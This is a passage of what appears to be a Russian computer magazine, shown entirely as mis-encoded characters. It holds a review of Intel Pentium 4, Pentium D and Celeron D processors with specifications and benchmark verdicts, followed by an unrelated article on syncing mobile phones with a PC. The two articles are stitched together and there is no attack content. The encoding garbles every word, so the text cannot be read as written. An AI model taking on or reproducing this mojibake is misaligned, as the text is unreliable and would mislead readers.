ïðåäñòàâëÿþùàÿ ñîáîé àíàëîã äàâíî èñ-
ïîëüçóåìîé AMD Cool'n'Quiet, ïîíèæàþ-
ùåé ÷àñòîòó «êàìíÿ» â ìîìåíòû íåâûñî-
êîé íàãðóçêè. Ôóíêöèÿ ýòà ïåðåøëà ñ ìî-
áèëüíûõ ïðîöåññîðîâ, ãäå îíà èñïîëüçî-
âàëàñü â öåëÿõ ýíåðãîñáåðåæåíèÿ, è åñëè
íà Desktop-ñèñòåìàõ òàêîé ïðîáëåìû
íåò, òî åñòü äðóãàÿ, íå ìåíåå îñòðàÿ �
ïåðåãðåâ. Âîò ñ íèì-òî è áîðåòñÿ EIST,
àíàëèçèðóÿ çàãðóçêó «êàìíÿ», è, â ñëó-
÷àå, åñëè îíà íåâûñîêà, áàíàëüíî çàíè-
çæåò åãî ìíîæèòåëü è íàïðÿæåíèå ïèòà
íèÿ � è òåì- ïåðàòóðà ìåíüøå, è êóëåð
ïðè ñîîòâåòñòâóþùåé íàñòðîéêå òèøå�
XD-áèò � íå ìåíåå âàæíàÿ òåõíîëîãèÿ,
ïîçâîëèâøàÿ ðåàëèçîâàòü áåçîïàñíîñòü
ñèñòåìû íà àïïàðàòíîì óðîâíå. Îáíàðó-
æèâ â ïàìÿòè êîä ñ âðåäîíîñíûì âîç-
äåéñòâèåì, ýòîò âîëøåáíûé áèò ïðîñòî
çàïðåòèò åãî âûïîëíåíèå, òåì ñàìûì,
ñáåðåãàÿ òâîþ ñèñòåìó îò ñáîÿ. Åñòåñò-
âåííî, ýòî íå îñâîáîæäàåò òåáÿ îò íåîá-
õîäèìîñòè èñïîëüçîâàíèÿ ôàéðâîëà è
õîðîøåãî ñîôòîâîãî àíòèâèðóñà, íî, òåì
íå ìåíåå, çäîðîâî ïîìîãàåò â áîðüáå ñî
ìíîãèìè ïðîáëåìàìè. Òåì áîëåå, ÷òî
äëÿ ðàáîòû ýòîé òåõíîëîãèè íå íóæíî
íè÷åãî, êðîìå Windows XP ñ óñòàíîâëåí-
íûì Service Pack 2.

[òåõíîëîãèè]

[âûâîäû]

ÍÀÃÐÀÄÓ «ÍÀØ ÂÛÁÎÐ» � ÇÀ ÂÛÑÎ×ÀÉØÓÞ ÏÐÎÈÇÂÎÄÈ-
ÒÅËÜÍÎÑÒÜ ÑÐÅÄÈ ÂÑÅÕ Ó×ÀÑÒÍÈÊÎÂ ÒÅÑÒÈÐÎÂÀÍÈß È
ÏÎÄÄÅÐÆÊÓ ÂÑÅÕ ÑÎÂÐÅÌÅÍÍÛÕ ÒÅÕÍÎËÎÃÈÉ � ÇÀÁÈÐÀÅÒ
ÏÐÎÖÅÑÑÎÐ INTEL PENTIUM 4 670, ÄÎÊÀÇÀÂØÈÉ, ×ÒÎ ÏÎßÂ-
ËÅÍÈÅ ÄÂÓÕÚßÄÅÐÍÛÕ ÐÅØÅÍÈÉ ÄËß ÄÎÌÀØÍÈÕ ÑÈÑÒÅÌ
ÅÙÅ ÍÅ ÎÇÍÀ×ÀÅÒ ÂÛÌÈÐÀÍÈÅ ÎÁÄÅËÅÍÍÛÕ ÂÒÎÐÛÌ ßÄ-
ÐÎÌ ÌÎÄÅËÅÉ. ÍÓ À «ËÓ×ØÓÞ ÏÎÊÓÏÊÓ» ÌÛ ÎÒÄÀÅÌ INTEL
PENTIUM 4 530 � ÂÑÅ-ÒÀÊÈ «ÊÐÅÏÊÈÉ ÑÅÐÅÄÍß×ÎÊ» Â ÑÐÅÄ-
ÍÅÑÒÀÒÈÑÒÈ×ÅÑÊÎÉ ÑÈÑÒÅÌÅ ÃÎÐÀÇÄÎ ÁÎËÅÅ ÀÊÒÓÀËÅÍ,
×ÅÌ ÄÎÐÎÃÓÙÈÅ ÌÎÄÅËÈ Ñ ÇÀÎÁËÀ×ÍÛÌÈ ×ÀÑÒÎÒÀÌÈ�
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3D MARK 2001SE

Intel Pentium 4 EE 3,73 â ýòîì òåñòå îáîøåë îñíîâíîãî êîíêóðåíòà �
Intel Pentium 4 670, ÷òî, âïðî÷åì, íå óäàëîñü åìó ïðè êîäèðîâàíèè àóäèî.

Êîäèðîâàíèå àóäèî â VBR äàåòñÿ ñëàáûì ïðîöåññîðàì íå ëåãêî�

Íåäåøåâàÿ äâóõúÿäåðíàÿ ìîäåëü ñ èíäåêñîì 820 â ýòîì òåñòå íå äîòÿíóëà  äàæå äî Intel Pentium 4 530.
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Intel
PentiumD820
×àñòîòà, ÃÃö: 2,8
ßäðî: Smithfield (2xPrescott)
Òåõïðîöåññ ÿäðà, ìêì: 0,09
Øèíà, ÌÃö: 800
Îáúåì Êýøà L2, Êá: 1024x2
Ïîääåðæêà 64-áèòíûõ ïðèëîæåíèé è NX-áèòà: åñòü
Ïîääåðæêà Hyper-Threading: åñòü

Ïîääåðæèâàåìûå èíñòðóêöèè: MMX, SSE, SSE2, SSE3

Õîòÿ âñå íèæåñêàçàííîå è êàñàåòñÿ ìîäåëè Intel
Pentium D 820, â ðåàëüíîñòè òåñòîâûì îáðàçöîì
íàì ïîñëóæèë ïðîöåññîð Intel Pentium D 840, êîòî-
ðîãî ìû çàñòàâèëè ïðîâåñòè «ýìóëÿöèþ» ïóòåì çà-
íèæåíèÿ ìíîæèòåëÿ. Òåõíè÷åñêè æå ïðîöåññîðû àá-
ñîëþòíî èäåíòè÷íû.
Ñàìûé «ìëàäøèé» â ëèíåéêå äâóõÿäåðíûõ ïðîöåññî-
ðîâ Intel, ýòîò êàìåøåê èìååò ÷àñòîòó âñåãî 2.8 ÃÃö è
çíàêîì ñî âñåìè òåõíîëîãèÿìè Intel, íà÷èíàÿ ñ àíòè-
âèðóñíîé çàùèòû è çàêàí÷èâàÿ ñáåðåãàþùåé òâîé
êóëåð è íåðâû EIST. Åñòåñòâåííî, íå îáîøëîñü è áåç
64-õ áèòíîé àðõèòåêòóðû, ïîñòåïåííî îáðåòàþùåé
âñå áîëüøóþ ïðàêòè÷åñêóþ öåííîñòü. Ïîääåðæêà
Hyper-Threading, ê ñîæàëåíèþ, îòñóòñòâóåò. Ïðîèçâî-
äèòåëüíîñòü Intel Pentium D 820 íåâûñîêà: â ìîíîï-
ðîãðàììíîì ðåæèìå îí ïàñîâàë äàæå ïåðåä íå òà-
êèì äîðîãèì Intel Pentium 4 530 (÷òî, âïðî÷åì, íåóäè-
âèòåëüíî � ÷àñòîòà-òî ó ïîñëåäíåãî âûøå). Â òî æå
âðåìÿ â ìóëüòèïðîãðàììíîì òåñòå äâóõúÿäåðíîñòü
ïîêàçàëà ñåáÿ ñ ëó÷øåé ñòîðîíû � â êîäèðîâàíèè
àóäèî ïîòåðè ñîñòàâèëè âñåãî ëèøü îäíó ñåêóíäó!

Intel 
Pentium D 830
×àñòîòà, ÃÃö: 3,0
ßäðî: Smithfield (2xPrescott)
Òåõïðîöåññ ÿäðà, ìêì: 0,09
Øèíà, ÌÃö: 800
Îáúåì Êýøà L2, Êá: 1024x2
Ïîääåðæêà 64-áèòíûõ ïðèëîæåíèé è NX-áèòà: åñòü
Ïîääåðæêà Hyper-Threading: åñòü

Ïîääåðæèâàåìûå èíñòðóêöèè: MMX, SSE, SSE2, SSE3

Intel Pentium D 830 � ÷òî-òî âðîäå Middle-End'à 
â ëèíåéêå äâóõúÿäåðíûõ ïðîöåññîðîâ (õîòÿ ñëîæ-
íî îòíåñòè ê ñðåäíåé öåíîâîé êàòåãîðèè «êà-
ìåíü» ñòîèìîñòüþ áîëåå 300 áàêñîâ). Òàêèå òåõ-
íîëîãèè, êàê EM64T, Enhanced Intel SpeedStep,
NX-áèòà, íî êðîìå, îïÿòü æå, Hyper-Threading
çäåñü íà ìåñòå. ×àñòîòà ïî ñðàâíåíèþ ñ 820-é
ìîäåëüþ ïîâûñèëàñü íà 200 ÌÃö è òåïåðü ñîñ-
òàâëÿåò 3 ÃÃö, òàê ÷òî ýòîò ïðîöåññîð ìîæíî ñ÷è-
òàòü äâóõúÿäåðíûì àíàëîãîì Intel Pentium 4 530 ñ
áîëåå ñîâåðøåííûì òåõïðîöåññîì è ÷óòü áîëüøèì
íàáîðîì ôóíêöèé. Ïðàâäà, ÷òî êàñàåòñÿ ïðîèçâî-
äèòåëüíîñòè, òî îò óâåëè÷åíèÿ êîëè÷åñòâà ÿäåð â
ñòàíäàðòíûõ ïðèëîæåíèÿõ òîëêó ìàëî � FPS'û è
áàëëû ïðèìåðíî òå æå, ÷òî è ó îäíîÿäåðíîé âåð-
ñèè. Âèäèìî, ðåàëüíóþ âûãîäó îò íîâîé òåõíîëî-
ãèè ìû óâèäèì òîëüêî òîãäà, êîãäà îíà ïîëó÷èò
ïîääåðæêó ñî ñòîðîíû ðàçðàáîò÷èêîâ ñîôòà. Åñëè
ó÷åñòü àíàëîãè÷íóþ ñèòóàöèþ ñ 64-õ áèòíîé àðõè-
òåêòóðîé (à îíà ðåàëèçîâàíà â ïðîöåññîðàõ óæå
äàâíî), òî æäàòü íàì, êàæåòñÿ, åùå äîëãî :).

Intel 
Pentium D 840
×àñòîòà, ÃÃö: 3,2
ßäðî: Smithfield (2xPrescott)
Òåõïðîöåññ ÿäðà, ìêì: 0,09
Øèíà, ÌÃö: 800
Îáúåì Êåøà L2, êá: 1024x2
Ïîääåðæêà 64-áèòíûõ ïðèëîæåíèé è NX-áèòà: åñòü
Ïîääåðæêà Hyper-Threading: åñòü

Ïîääåðæèâàåìûå èíñòðóêöèè: MMX, SSE, SSE2, SSE3

Ýòîò ïðîöåññîð � ñàìûé ìîùíûé «äâóõúÿäåðíèê,
åñëè íå ñ÷èòàòü ëèíåéêó Extreme Edition, íàõîäÿùó-
þñÿ â ñîâåðøåííî äðóãîé öåíîâîé êàòåãîðèè. Îòìå-
òèì, ÷òî ê íàì ïîïàë èíæåíåðíûé îáðàçåö «êàìíÿ»
ñ ðàçáëîêèðîâàííûì ìíîæèòåëåì, ÷òî ïîçâîëÿåò
êàê áåñïðåïÿòñòâåííî åãî ðàçãîíÿòü, òàê è ëåãêî ïî-
íèæàòü ÷àñòîòó, «ýìóëèðóÿ» òåì ñàìûì ìëàäøèå
ìîäåëè ëèíåéêè.
Òàêòîâàÿ ÷àñòîòà åãî ñîñòàâëÿåò 3.2 ÃÃö, ÷òî ïîç-
âîëÿåò åìó ïðèáëèçèòüñÿ ïî ïðîèçâîäèòåëüíîñòè ê
íå ñàìûì äåøåâûì îäíîÿäåðíûì ïðîöàì � íàï-
ðèìåð, ê Intel Pentium 4 640. Ñòîèò ëèøü äîæäàòüñÿ
íîðìàëüíîé ïîääåðæêè â ñîôòå ïîëíîöåííîãî èñ-
ïîëüçîâàíèÿ âîçìîæíîñòåé ïðîöåññîðîâ ýòîé ëè-
íåéêè, è êàðòèíà ðèñóåòñÿ âîâñå çàìå÷àòåëüíàÿ, íî
ïîêà æå öåííîñòü ó íèõ îäíà � ìóëüòèçàäà÷íîñòü.
È åñëè òåáå ñîâñåì íå îáÿçàòåëüíî êîäèðîâàòü âè-
äåî è ðâàòü ìîíñòðîâ â Far Cry îäíîâðåìåííî, òî
äåíüãè ëó÷øå âëîæèòü â êóäà áîëåå ìîùíîå è äå-
øåâîå ðåøåíèå, âûïîëíåííîå ïî ñòàðîé äîáðîé
îäíîÿäåðíîé òåõíîëîãèè.

Intel 
Celeron D 2,66
×àñòîòà, ÃÃö: 2,66
ßäðî: Prescott
Òåõïðîöåññ ÿäðà, ìêì: 0,09
Øèíà, ÌÃö: 533
Îáúåì Êýøà L2, Êá: 256
Ïîääåðæêà 64-áèòíûõ ïðèëîæåíèé è NX-áèòà: åñòü
Ïîääåðæêà Hyper-Threading: íåò

Ïîääåðæèâàåìûå èíñòðóêöèè: MMX, SSE, SSE2, SSE3

Ïîñëåäíèé ïðîöåññîð â íàøåì ñïèñêå � âå÷íûé «áþäæåòíèê» Intel Celeron D îðèåíòèðîâàí íà èñïîëüçîâàíèå â îôèñíûõ è íåäîðîãèõ äîìàøíèõ ñèñòåìàõ. Îæèäàòü ÷åãî-
òî ýêñòðàîðäèíàðíîãî îò íåãî íå ñòîèò � âñå òâîè àìáèöèè áóäóò æåñòêî ïðåñå÷åíû ÷àñòîòîé øèíû â 533 ÌÃö è êýøåì L2 îáúåìîì âñåãî 256 Êá. Åñòåñòâåííî, Hyper-
Threading ó ïðîöà îòñóòñòâóåò, òàê æå êàê è ôóíêöèÿ EIST, íî çàòî èìååòñÿ ïîëíîöåííàÿ ïîääåðæêà 64-õ áèòíûõ ïðèëîæåíèé è àíòèâèðóñíàÿ çàùèòà, ÷òî, ñîãëàñèñü, óæå
íåïëîõî. Ðåçóëüòàòû ýòà ìîäåëü ïîêàçàëà íåâûñîêèå � ñàìûå ñëàáûå ñðåäè âñåõ òåñòèðóåìûõ îáðàçöîâ, ÷òî åùå ðàç ïîäòâåðäèëî åå «îôèñíóþ» ïðèíàäëåæíîñòü. Ìàëî
òîãî, îäèí èç òåñòîâ íà ìíîãîçàäà÷íîñòü ýòîò êàìåíü íå ïðîøåë âîîáùå � ñëèøêîì ìíîãî òðåáîâàëîñü âðåìåíè äëÿ åãî çàâåðøåíèÿ. Èòîãî ìû èìååì îòëè÷íûé âûáîð
äëÿ òåõ, êòî ñ÷èòàåò ñâîè äåíüãè è íå óâëåêàåòñÿ êîäèðîâàíèåì âèäåî, à òàêæå ïîñëåäíèìè âåÿíèÿìè â îáëàñòè èãðîâîãî èñêóññòâà. Âñåì îñòàëüíûì � ïðîõîäèòü ìèìî.
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Intel 
Pentium 4 530
×àñòîòà, ÌÃö: 3000
ßäðî: Prescott
Ðàçúåì: LGA775
Òåõïðîöåññ ÿäðà, ìêì: 0,09
FSB, ÌÃö: 200
Îáúåì Êýøà L2, Êá: 1024
Ïîääåðæêà 64-áèòíûõ ïðèëîæåíèé è NX-áèòà: íåò
Ïîääåðæêà Hyper-Threading: åñòü

Ïîääåðæèâàåìûå èíñòðóêöèè: MMX, SSE, SSE2, SSE3

Íåïëîõîé Middle-End ïðîöåññîð çà óìåðåííûå
äåíüãè ïðåäîñòàâëÿåò õîðîøóþ ïðîèçâîäèòåëü-
íîñòü. Âîò òîëüêî ñ ôóíêöèîíàëüíîñòüþ ó íåãî ñëà-
áîâàòî � âûïîëíåí «êàìåíü» íà ÿäðå Prescott, à
ýòî çíà÷èò, ÷òî òåáå ïðèäåòñÿ çàáûòü êàê î 64-õ áèò-
íûõ ïðèëîæåíèÿõ, òàê è î âîçìîæíîñòè ïîíèçèòü
øóì êóëåðà, à çàîäíî è òåìïåðàòóðó ñ ïîìîùüþ
òåõíîëîãèè EIST. ×òî æ, ïî êðàéíåé ìåðå, íèêòî íå
ñòàë îòáèðàòü ó ïðîöà ïîääåðæêó Hyper-Threading,
òàê ÷òî â ìóëüòèïðîãðàììíîé ñðåäå îí ñåáÿ
÷óâñòâóåò âïîëíå íåïëîõî. Õîòÿ, ñðàâíèâàÿ ïðîöå-
íòíûå ïîòåðè â ýòîì ðåæèìå äëÿ Hyper-Threading ñ
ïîòåðÿìè ó ðåøåíèé ñ ÷åñòíî ðåàëèçîâàííîé äâóõú-
ÿäåðíîñòüþ, ðåçóëüòàò âûõîäèò íå â ïîëüçó ïåðâûõ.
Ýòî è ëîãè÷íî � ýìóëÿöèåé ðåàëüíîå æåëåçî íå îá-
ãîíèøü,  ñ äðóãîé ñòîðîíû, â ìîíîïðîãðàììíîì ðå-
æèìå äàííûé ïðîö ëåãêî äàåò ôîðó áîëåå äîðîãîìó
Intel Pentium D 820. Âåðäèêò ñòàíäàðòåí � âûáîð
ñòîèò äåëàòü, îñíîâûâàÿñü èñêëþ÷èòåëüíî íà ñâîèõ
ïðåäïî÷òåíèÿõ è ôèíàíñîâûõ âîçìîæíîñòÿõ.

IntelPentium
4EE3,73
×àñòîòà, ÌÃö: 3000
ßäðî: Prescott 2M
Ðàçúåì: LGA775
Òåõïðîöåññ ÿäðà, ìêì: 0,09
FSB, ÌÃö: 266
Îáúåì Êýøà L2, Êá: 2048
Ïîääåðæêà 64-áèòíûõ ïðèëîæåíèé è NX-áèòà: åñòü
Ïîääåðæêà Hyper-Threading: åñòü

Ïîääåðæèâàåìûå èíñòðóêöèè: MMX, SSE, SSE2, SSE3

Ïðîöåññîðû ñåðèè Extreme Edition � ðåøåíèÿ, ïðåäíàçíà÷åííûå äàëåêî íå äëÿ âñåõ �  òîëüêî íàèáîëåå òðåáîâàòåëüíûå è áîãàòûå þçåðû ìîãóò ïîçâîëèòü ñåáå ïðèîáðåñòè
«êàìåøåê» ñòîèìîñòüþ áîëåå 1000$. Âçàìåí æå òû ïîëó÷àåøü íàñòîÿùåãî òðåõãèãàãåðöîâîãî ìîíñòðà ñ ÷àñòîòîé ñèñòåìíîé øèíû 1066 ÌÃö è 2 Ìá êýøà âòîðîãî óðîâíÿ! 
Ðàçóìååòñÿ, çäåñü ïðèñóòñòâóåò ïîääåðæêà EM64T, Hyper-Threading è àïïàðàòíàÿ àíòèâèðóñíàÿ çàùèòà è� íà ýòîì ñïèñîê îñíîâíûõ ïîääåðæèâàåìûõ òåõíîëîãèé çàâåðøàåò-
ñÿ. Åñëè òû âäðóã ðåøèë, ÷òî ìû çàáûëè î EIST, òî ñïåøèì òåáÿ îãîð÷èòü � ïðîöåññîð ñâîþ ÷àñòîòó íèêàê íå ðåãóëèðóåò. Ýòî äîâîëüíî ñòðàííî, ó÷èòûâàÿ òî, ÷òî ÿäðî Prescott
2M åå ïîëíîñòüþ ïîääåðæèâàåò, à ñàì ïðîöåññîð îðèåíòèðóåòñÿ, êàê òîïîâîå ðåøåíèå ñ ìàêñèìàëüíîé ôóíêöèîíàëüíîñòüþ è ïðîèçâîäèòåëüíîñòüþ. ×òî æå êàñàåòñÿ ñêîðîñ-
òè, òî ïî ýòîé ÷àñòè ïðîáëåì íèêàêèõ � ïî÷åòíîå «ñåðåáðî» âî âñåõ òåñòàõ, à îòñòàâàíèå îò Intel Pentium 4 670 ëåãêî îáúÿñíèòü ãîðàçäî áîëüøåé ÷àñòîòîé ïîñëåäíåãî...

Intel 
Pentium 4 640
×àñòîòà, ÃÃö: 3,2
ßäðî: Prescott 2M
Òåõïðîöåññ ÿäðà, ìêì: 0,09
Øèíà, ÌÃö: 800
Îáúåì Êýøà L2, Êá: 2048
Ïîääåðæêà 64-áèòíûõ ïðèëîæåíèé è NX-áèòà: åñòü
Ïîääåðæêà Hyper-Threading: åñòü

Ïîääåðæèâàåìûå èíñòðóêöèè: MMX, SSE, SSE2, SSE3

Ñåðèÿ 6XX � òîïîâàÿ íà äàííûé ìîìåíò ëèíåé-
êà îäíîÿäåðíûõ ïðîöåññîðîâ Intel, åñëè íå ó÷è-
òûâàòü ýëèòíûå ðåøåíèÿ ñåðèè Extreme Edition.
Âîò è ýòî ìàëåíüêîå ÷óäî ôîðì-ôàêòîðà
LGA775 ñäåëàíî íà áàçå ÿäðà Prescott 2M, ÷òî
àâòîìàòè÷åñêè ïðè÷èñëÿåò ê ðÿäó åãî äîñòî-
èíñòâ àïïàðàòíóþ àíòèâèðóñíóþ çàùèòó, äèíà-
ìè÷åñêóþ ðåãóëèðîâêó ÷àñòîòû â çàâèñèìîñòè
îò íàãðóçêè è 64-õ áèòíóþ àðõèòåêòóðó. Íå çà-
áûò è Hyper-Threading, âûãîäà îò ïðèìåíåíèÿ
êîòîðîãî áåç òðóäà âèäíà íà ãðàôèêàõ. Ïðîöåñ-
ñîð èìååò 2 Ìá êýø-ïàìÿòè âòîðîãî óðîâíÿ è
ðàáîòàåò íà ÷àñòîòå 3.2 ÃÃö � äëÿ ñîâðåìåííûõ
èãð è îáðàáîòêè ñëîæíûõ äàííûõ ýòîãî äîëæíî
õâàòèòü ñ ãîëîâîé. Ãðàôèêè ñëóæàò îòëè÷íûì
òîìó äîêàçàòåëüñòâîì � ïðîö ïîêàçàë îòëè÷-
íóþ ïðîèçâîäèòåëüíîñòü è îòñòàë ëèøü îò äâóõ
ìîäåëåé, ïåðåä êîòîðûìè åìó ïîëîæåíî ïàñî-
âàòü ïî ïðàâó :). È âñå áû õîðîøî, íî âûñîêàÿ
öåíà íàâåðíÿêà îòïóãíåò îò ýòîé ìîäåëè íåáî-
ãàòûõ è ðàöèîíàëüíûõ þçåðîâ, êîòîðûå, âïðî-
÷åì, íàéäóò óòåøåíèå â ñåðèè 5XX :).

Intel 
Pentium 4 670
×àñòîòà, ÃÃö: 3,8
ßäðî: Prescott 2M
Òåõïðîöåññ ÿäðà, ìêì: 0,09
Øèíà, ÌÃö: 800
Îáúåì Êýøà L2, Êá: 2048
Ïîääåðæêà 64-áèòíûõ ïðèëîæåíèé è NX-áèòà: åñòü
Ïîääåðæêà Hyper-Threading: åñòü

Ïîääåðæèâàåìûå èíñòðóêöèè: MMX, SSE, SSE2, SSE3

Íàèáîëåå ìîùíûé ïðîöåññîð â ëèíåéêå òîïîâûõ «îä-
íîÿäåðíèêîâ» 6XX � 2 Ìá êýøà âòîðîãî óðîâíÿ è 3.8
ÃÃö ÷àñòîòû ïîçâîëÿò òåáå çàáûòü î ïðîáëåìàõ ñ ïðî-
èçâîäèòåëüíîñòüþ íàäîëãî. Âñå ïðî÷èå ïðîáëåìû
âîçüìóò íà ñåáÿ òåõíîëîãèè EIST è XD-bit, à 64-õ áèòíàÿ
àðõèòåêòóðà îïòèìèçèðóåò ðàáîòó íåìíîãî÷èñëåííûõ
ñîîòâåòñòâóþùèõ ïðèëîæåíèé. È ïóñòü öåíà ýòîãî
«êàìíÿ» çàñòàâèò áîëüøèíñòâî ÷èòàòåëåé ëèøü ìå÷òà-
òåëüíî îáëèçûâàòüñÿ � ïîòðà÷åííûå äåíüãè Intel
Pentium 4 670 ÿâíî îïðàâäàåò � â íàøåì òåñòå îí ëåã-
êî çàíÿë ïåðâîå ìåñòî, îáîéäÿ äàæå ïðîöåññîð ñåðèè
Extreme Edition! Äîáàâèì, ÷òî ïîääåðæêà Hyper-
Threading åùå è ïîìîãëà åìó ïðàêòè÷åñêè ïðèáëèçèòü-
ñÿ â ìóëüòèçàäà÷íîé ñðåäå ê ðåàëüíûì äâóõúÿäåðíûì
«êàìíÿì» � ýòî èìåííî òîò ñëó÷àé, êîãäà êà÷åñòâî ÿâ-
íî ïðåâûøàåò êîëè÷åñòâî. Âåðäèêò � èäåàëüíûé ïðî-
öåññîð äëÿ êðóòûõ ãåéìåðîâ è òåõ, êîìó æèçíåííî íå-
îáõîäèìà âûñî÷àéøàÿ ïðîèçâîäèòåëüíîñòü. Íî òîëüêî
â òîì ñëó÷àå, åñëè ïîçâîëÿåò îáúåì êîøåëüêà :)�
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[âñòóïëåíèå] Äîïóñòèì, ñíàáæàòü âñåõ ñâîèõ
çíàêîìûõ, à ìîæåò, äàæå è íå çíàêîìûõ ìåëî-
äèÿìè è êàðòèíêàìè çà ñèìâîëè÷åñêîå âîçíà-
ãðàæäåíèå. Ïîâåðü ìíå, ýòî íå ãëóïîñòü, è èìåí-
íî òàê ïîñòóïàåò ìîé êîëëåãà. Ñïðîñè ó íåãî ñàì.
Èëè âîò, äîïóñòèì, òû æóòêî êîììóíèêàáåëü-
íûé ìîáèëîìàí è íà òâîåì ñîòèêå â çàïèñíîé
êíèæêå íàõîäèòñÿ íåñêîëüêî ñîòåí òåëåôîíîâ,
íî ïîÿâèëàñü íåîáõîäèìîñòü ïåðåòàùèòü âåñü
ýòîò õëàì íà íîâóþ ìîáèëüíóþ çâîíèëêó, êó-
ïëåííóþ ïî âåÿíèþ ìîäû. ×òî äåëàòü-òî áó-
äåøü? Ìîæåò, âðó÷íóþ? Ñàìîå ïðîñòîå ðåøå-
íèå � ñêîïèðîâàòü òåëåôîíû èç ïàìÿòè íà
SIM-êàðòó è ïåðåíåñòè èõ íà íîâûé àïïàðàò,
òîëüêî âîò ìîçîëè íà ïàëüöàõ ëå÷èòü çàìó÷à-
åøüñÿ ;). Ñòîèò îòìåòèòü, ÷òî â íåêîòîðûõ ñòà-
ðûõ òåëåôîíàõ äàæå ýòî ïðîâåðíóòü íå ïîëó-
÷èòñÿ, òàê êàê â íèõ íåò âîçìîæíîñòè ïåðåíîñà
çàïèñåé òåëåôîííîé êíèæêè íà SIM-êàðòó. Èëè
âîò åùå: èíîãäà äîïîëíèòåëüíàÿ èíôîðìàöèÿ
ïðè òàêîì ïåðåíîñå íàãëûì îáðàçîì îáðåçàåò-
ñÿ, ÷òî, ñîãëàñèñü, äîñàäíî. Ïëþñ êî âñåìó ýòî-
ìó òåáå ïðîñòî íåîáõîäèìî ñîõðàíèòü çàïèñè
îðãàíàéçåðà, àðõèâ SMS, ïàìÿòêè è òîìó ïî-
äîáíóþ ÷åïóõó. ×òî ñ ýòèì äåëàòü áóäåøü?
Çíàþùèå ëþäè óæå âðàçíîáîé çàîðàëè: «Êàáå-
ëè! Bluetooth! ÈÊ-ïîðò!». Óâàæàåìûå, íå ñòîèò
òàê îðàòü. Ìîæåòå ïðîñòî ñìåëî ïðîïóñêàòü ïà-
ðó ñëåäóþùèõ àáçàöåâ. À ÿ ïðîäîëæó ñ òîáîé,
î, àëìàç ìîåé äóøè! Îíè àáñîëþòíî ïðàâû �
÷òî-ëèáî îäíî íàì îáÿçàòåëüíî ïîíàäîáèòñÿ
äëÿ ïðîäîëæåíèÿ áåñåäû. 

[[êêààááååëëèè]] Àáñîëþòíî âñå ìîäåëè òåëåôîíîâ
çà î÷åíü íåáîëüøèì èñêëþ÷åíèåì ïîääåðæè-
âàþò ñèíõðîíèçàöèþ ïî òàêîé âåùèöå. È ýòî
ïåðâûé âîçìîæíûé òèï ïîäêëþ÷åíèÿ. Êàê èç-
âåñòíî (èëè äëÿ òåõ, êòî â áðîíåïîåçäå), êà-
áåëü ïîäêëþ÷àåòñÿ ñ îäíîé ñòîðîíû ê èíòåð-

026
ÇÄÐÀÂÑÒÂÓÉ, ÄÐÓÆÎÊ! ÑÅÃÎÄÍß ß ÍÅ ÁÓÄÓ
ÒÅÁÅ ÐÀÑÑÊÀÇÛÂÀÒÜ ÑÊÀÇÎ×ÅÊ È ÐÀÑÊÐÛ-
ÂÀÒÜ ÑÒÐÀØÍÛÅ ÒÀÉÍÛ, À ËÈØÜ ÏÐÎÂÅÄÓ
ËÈÊÁÅÇ ÏÎ ÑÊÐÅÙÈÂÀÍÈÞ ÌÎÁÈËÜÍÈÊÀ È
ÊÎÌÏÀ. ÑÀÌ ÂÑÅ ÓÌÅÅØÜ? ÒÂÎß ÒÐÓÁÊÀ È
ÒÀÊ ÏÎ ÓØÈ ÍÀÏÎËÍÅÍÀ JAVA-ÑÎÔÒÎÌ, ÌÅ-
ËÎÄÈßÌÈ È ÊÀÐÒÈÍÊÀÌÈ? Â ÌÅÍß ÓÆÅ ËÅÒßÒ
ÒÓÕËÛÅ ÏÎÌÈÄÎÐÛ? À ÇÐß. ÄÓÌÀÅØÜ, ÂÑÅ
ÒÀÊÈÅ ÓÌÍÛÅ? ÄÀ È ÌÎÁÈËÊÓ ÞÇÀÅØÜ, ÂÅ-
ÐÎßÒÍÅÅ ÂÑÅÃÎ, ÒÎËÜÊÎ ÎÄÍÎÉ ÌÎÄÅËÈ. ÌÛ
ÆÅ Ñ ÌÎÈÌ ÓØÀÑÒÛÌ ÍÀÏÀÐÍÈÊÎÌ II_UXA
ÏÎÊÀÆÅÌ ÒÅÁÅ, ×ÒÎ ÍÓÆÍÎ ÇÍÀÒÜ ÌÎÁÈËÜ-
ÍÎÌÓ ØÀÐÎÂÀÐÎÂÅÄÓ, ×ÒÎÁÛ ÍÅ ÈÑÏÛÒÛ-
ÂÀÒÜ ÏÐÎÁËÅÌ Ñ ÑÎÒÎÂÛÌÈ ÒÅËÅÔÎÍÀÌÈ
ÁÎËÜØÈÍÑÒÂÀ ÏÐÎÈÇÂÎÄÈÒÅËÅÉ, ÒÀÊ ÊÀÊ
ÝÒÎ ÌÎÆÅÒ ÏÐÈÍÎÑÈÒÜ ÐÅÀËÜÍÛÅ ÇÀÐÀÁÎÒ-
ÊÈ | ShadOS (shados@real.xakep.ru), II_uxa (nikeicev@mail.ru)
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Ñîôò äëÿ ðàáîòû ñ ìî-
áèëüíûìè òåëåôîíàìè

ôåéñíîìó ðàçúåìó àïïàðàòà, ñ
äðóãîé ñòîðîíû � ê ÑÎÌ èëè
USB-ïîðòó. Ïðè÷åì âòîðîé âàðè-
àíò íàèáîëåå ðàñïðîñòðàíåí. Íå-
êîòîðûå ìîäåëè, íå èìåþùèå èí-
òåðôåéñíîãî ðàçúåìà (íàïðèìåð,
Nokia 3510, 3510i), ïîääåðæèâà-
þò ñèíõðîíèçàöèþ çàñ÷åò íåîðè-
ãèíàëüíûõ êàáåëåé. Ñàì ïðîèç-
âîäèòåëü èç ìàðêåòèíãîâûõ ñîîá-
ðàæåíèé íå ðåàëèçîâàë òàêóþ
âîçìîæíîñòü, ïîñ÷èòàâ åå èçëèøíåé â ìî-
äåëÿõ áàçîâîãî óðîâíÿ. Íåêîòîðûå ïðîèç-
âîäèòåëè (îñîáåííî LG, Samsung) èçíà-
÷àëüíî âêëàäûâàþò êàáåëè â êîìïëåêò ïî-
ñòàâêè, âïðî÷åì, êàê è ïðîãðàììíîå îáåñ-
ïå÷åíèå, íî áîëüøèíñòâî íå èäåò íà ýòîò
øàã è ïðîäàåò êàáåëè â êà÷åñòâå äîïîëíè-
òåëüíîãî àêñåññóàðà. Îäíàêî ñòîèìîñòü
îðèãèíàëüíûõ êàáåëåé ôîðìèðóåòñÿ íå èç
èõ ñåáåñòîèìîñòè, à èç öåíîâîé ãðóïïû òå-
ëåôîíà, åãî ïîçèöèîíèðîâàíèÿ, íàêîíåö,
ñòîèìîñòè ïðîãðàììíîãî îáåñïå÷åíèÿ,
